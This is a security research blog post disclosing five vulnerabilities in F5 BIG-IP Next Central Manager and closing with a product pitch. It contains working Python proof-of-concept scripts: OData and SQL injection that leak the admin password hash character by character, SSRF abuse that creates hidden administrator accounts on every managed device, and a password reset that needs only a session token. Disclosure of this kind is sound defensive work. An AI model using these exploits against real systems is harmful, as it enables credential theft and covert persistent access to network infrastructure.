Blog

Big Vulnerabilities in Next-Gen BIG-IP

Our ongoing research has identified remotely exploitable vulnerabilities in F5’s Next Central Manager that can give attackers full administrative control of the device, and subsequently allow attackers to create accounts on any F5 assets managed by the Next Central Manager. These attacker-controlled accounts would not be visible from the Next Central Manager itself, enabling ongoing malicious persistence within the environment. At the time of writing, we have not seen any indication that these vulnerabilities have been exploited in the wild.

F5 has issued the following CVEs:

F5 has published fixes for the vulnerabilities in software version 20.2.0 available to F5 customers, here, and organizations using the Next Central Manager are advised to upgrade to the latest version as soon as possible. It is important to note that we reported 5 vulnerabilities, but only 2 CVEs were assigned, details follow below.

Background on F5 BIG-IP and Next Central Manager

Networking and application infrastructure have become a key target of attackers in recent years, including a wide range of vendors such as Cisco, Citrix, Fortinet, Ivanti, and Zyxel. Exploiting these highly privileged systems can give adversaries an ideal way to gain access, spread, and maintain persistence within an environment. F5 was no exception with the 2023 discovery of a series of well-publicized vulnerabilities and attack campaigns in the wild.

However, those issues affected F5’s previous generation of BIG-IP software. BIG-IP Next marks a completely new incarnation of the BIG-IP product line touting improved security, management, and performance. And this is why these new vulnerabilities are particularly significant—they not only affect the newest flagship of F5 code, they also affect the Central Manager at the heart of the system.

F5 describes the Next Central Manager as the “…single, centralized point of control to perform all lifecycle tasks across your BIG-IP Next fleet.” 

Vulnerability Analysis

The vulnerabilities we have found would allow an adversary to harness the power of Next Central Manager for malicious purposes. First, the management console of the Central Manager can be remotely exploited by any attacker able to access the administrative UI via CVE 2024-21793 or CVE 2024-26026. This would result in full administrative control of the manager itself. Attackers can then take advantage of the other vulnerabilities to create new accounts on any BIG-IP Next asset managed by the Central Manager. Notably, these new malicious accounts would not be visible from the Central Manager itself. 

All 5 vulnerabilities were disclosed to F5 in one batch, but F5 only formally assigned CVEs to the 2 unauthenticated vulnerabilities. We have not confirmed if the other 3 were fixed at the time of publication.

Unauthenticated OData Injection (CVE-2024-21793)

The first vulnerability appears in Central Manager’s way to handle OData queries, and will allow the attacker to inject into an OData query filter parameter. From there, the attacker has enough leverage to leak sensitive information, like admin password hash for further increasing his privileges. This specific vulnerability will only appear if LDAP is enabled.

Proof of Concept

import string

import requests
import urllib3
import argparse

urllib3.disable_warnings()


def leak_hash(target: str, target_user: str = "admin"):
    URL = f"{target}/api/login"

    charset = string.digits + string.ascii_letters + '/.$'

    current_guess = ''

    while True:
        guessed = False
        for guess in charset:
            full_guess = current_guess + guess
            stuff = requests.post(URL, json={
                "username": f"fakeuser' or 'username' eq '{target_user}' and startswith('password','{full_guess}') or 'username' eq '1",
                "password": "password",
                "provider_type": "LDAP",
                "provider_name": "LDAP"
            }, verify=False).json()
            if stuff["status"] == 500:
                guessed = True
                current_guess += guess
                print("[+]", current_guess)
                break
        if not guessed:
            break


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Leak the admin password hash')
    parser.add_argument('target', type=str, help='The target URL')
    parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
    args = parser.parse_args()
    leak_hash(args.target, args.target_user)

Unauthenticated SQL Injection (CVE-2024-26026)

In addition to an OData injection, there is a much more dangerous SQL Injection vulnerability which appears in any device configuration, and is positioned in such a way that a potential attacker can leverage it directly to bypass authentication, albeit we are unaware of any full exploit existing for this case. In our current research, we leverage it to get administrative user password hash.

Proof of Concept

import string

import requests
import urllib3
import argparse

urllib3.disable_warnings()

def encode_string(s: str) -> str:
    return ",".join([f"chr({ord(c)})" for c in s])

def leak_hash(target: str, target_user: str = "admin"):
    charset = string.digits + string.ascii_letters + '/.$'
    encoded_user = encode_string(target_user)

    URL = f"{target}/api/login"
    current_guess = ''
    while True:
        guessed = False
        for guess in charset:
            full_guess = encode_string(current_guess + guess + '%')
            stuff = requests.post(URL, json={
                "username": "fake_user",
                "password": "password",
                "provider_type": "LDAP",
                "provider_name": f"LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"
            }, verify=False).json()
            if "root distinguished name is required" in stuff["message"]:
                guessed = True
                current_guess += guess
                print("[+]", current_guess)
                break
        if not guessed:
            break

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Leak the admin password hash')
    parser.add_argument('target', type=str, help='The target URL')
    parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
    args = parser.parse_args()
    leak_hash(args.target, args.target_user)

Undocumented API allowing SSRF of URL path to call any device method (No CVE)

Once logged into BIG-IP Next Central Manager, the attacker can abuse an SSRF vulnerability to call any API method on any BIG-IP Next device. In this case, one of the available on-device methods will allow the attacker to create on-board accounts on the devices themselves, which are not visible from the Central Manager, and are not supposed to exist. This means that even if the admin password is reset in the Central Manager, and the system is patched, attacker access might still remain.

Proof of Concept

import base64
import random

import requests
import urllib3
import argparse

urllib3.disable_warnings()

USERNAME_TO_MAKE = "admin" + str(random.randint(100, 100000000))
PASSWORD_TO_SET = "adminadminadmin"

# noinspection RequestsNoVerify
def login(username: str, password: str, target: str) -> dict:
    path = '/api/login'
    return requests.post(target + path, json={"username": username, "password": password}, verify=False).json()

# noinspection RequestsNoVerify
def get_devices(access_token: str, target: str) -> dict:
    path = '/api/device/v1/summary?limit=50&page=1&select=address,certificate_validated,certificate_validity,certificate_validation_error,id,hostname,mode,platform_type,task_summary,version'
    return requests.get(target + path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()['_embedded']['devices']

# noinspection RequestsNoVerify
def get_device_info(access_token: str, device_id: str, target: str) -> dict:
    path = f'/api/device/v1/proxy/{device_id}?path=/systems'
    return requests.get(target + path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()

# noinspection RequestsNoVerify
def make_device_user(access_token: str, device_id: str, username: str, password: str, ips: list[str], target: str):
    path = f'/api/device/v1/proxy/{device_id}?path=/users'
    temp_password = "adminadmin"
    requests.put(target + path, headers={"Authorization": f"Bearer {access_token}"}, verify=False, json={
        "username": username,
        "password": temp_password,
        "role": "administrator"
    }).json()
    auth_header = base64.b64encode(f"{username}:{temp_password}".encode()).decode()
    for ip in ips:
        print("This should be empty or whitespace: ", requests.put(f"https://{ip}:5443/api/v1/me", headers={"Authorization": f"Basic {auth_header}"}, verify=False, json={
            "newPassword": password,
            "currentPassword": temp_password,
        }).text)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Make a user on all devices')
    parser.add_argument('username', type=str, help='The username to login with')
    parser.add_argument('password', type=str, help='The password to login with')
    parser.add_argument('instance', type=str, help='The instance to login to')
    args = parser.parse_args()

    USERNAME = args.username
    PASSWORD = args.password
    INSTANCE = args.instance

    print(f"Attempting to make a user on all devices managed by {INSTANCE}")

    tokens = login(USERNAME, PASSWORD, INSTANCE)

    devices = get_devices(tokens['access_token'], INSTANCE)

    for device in devices:
        device_id = device['id']
        device_info = get_device_info(tokens['access_token'], device['id'], INSTANCE)['_embedded']['systems'][0]
        management_ips = [x.split('/')[0] for x in device_info['managementIps']]
        print(f"Trying to make user {USERNAME_TO_MAKE}:{PASSWORD_TO_SET} on device with IPs:", management_ips)
        make_device_user(tokens['access_token'], device_id, USERNAME_TO_MAKE, PASSWORD_TO_SET, management_ips, INSTANCE)
        print("If it worked, you should now have an API user. Device login test: ")
        # noinspection RequestsNoVerify
        print(requests.get(f"https://{management_ips[0]}:5443/api/v1/login", headers={
            'Authorization': "Basic " + base64.b64encode(f"{USERNAME_TO_MAKE}:{PASSWORD_TO_SET}".encode()).decode()
        }, verify=False).text)

Inadequate bcrypt cost of 6 (No CVE)

Admin password hashes are hashed with the cost of 6, which is not considered adequate per modern recommendations, simplifying brute force attacks against the password. A well-funded attacker (~$40k-$50k) can easily reach brute force speeds of millions of passwords per second.

Admin password self-reset without previous password knowledge (No CVE)

An authenticated administrator can reset his/her own password even without knowing their previous one. Combined with previous attacks, this would allow the malicious actor to block legitimate access to the device from every account, including the current one, even if the admin doesn’t know the password. 

Proof of Concept

In this case, the PoC simulates a full user login to get the session. The password reset itself only needs an active session token.

import requests
import urllib3

urllib3.disable_warnings()

BASE_URL = 'https://instance'
USERNAME = 'admin'
PASSWORD = 'current_password'
NEW_PASSWORD = 'Gc8&7j@oWF!s'

# noinspection RequestsNoVerify
def login(username: str, password: str) -> dict:
    path = '/api/login'
    return requests.post(BASE_URL + path, json={"username": username, "password": password}, verify=False).json()

# noinspection RequestsNoVerify
def reset(access_token: str, username: str):
    body = {
        "username": username,
        "temporary_password": NEW_PASSWORD
    }
    return requests.post(BASE_URL + '/api/system/v1/users/reset-password', headers={"Authorization": f"Bearer {access_token}"}, verify=False, json=body).text

# This simulates a logged-in user
tokens = login(USERNAME, PASSWORD)

# This resets the password w/o the previous one (using just a session)
print(reset(tokens['access_token'], USERNAME))
print(f"Now go to the instance and login with {NEW_PASSWORD} as the password.")

These weaknesses can be used in a variety of potential attack paths. At a high level attackers can remotely exploit the UI to gain administrative control of the Central Manager. Change passwords for accounts on the Central Manager. But most importantly, attackers could create hidden accounts on any downstream device controlled by the Central Manager.

Summary

Management systems for network infrastructure such as F5 BIG-IP are prime targets for attackers and require extra vigilance. In addition to keeping up-to-date with fixes, network and security teams should enforce access control to these types of management interfaces through a policy enforcement mechanism separate from the interface itself (aka zero trust). 

Eclypsium provides an additional layer of defense for IT infrastructure—including network devices—with integrity checking, EDR-like detection of malicious behavior, and other capabilities. If you would like to add this layered protection to your environment, please request a demo.

Related resources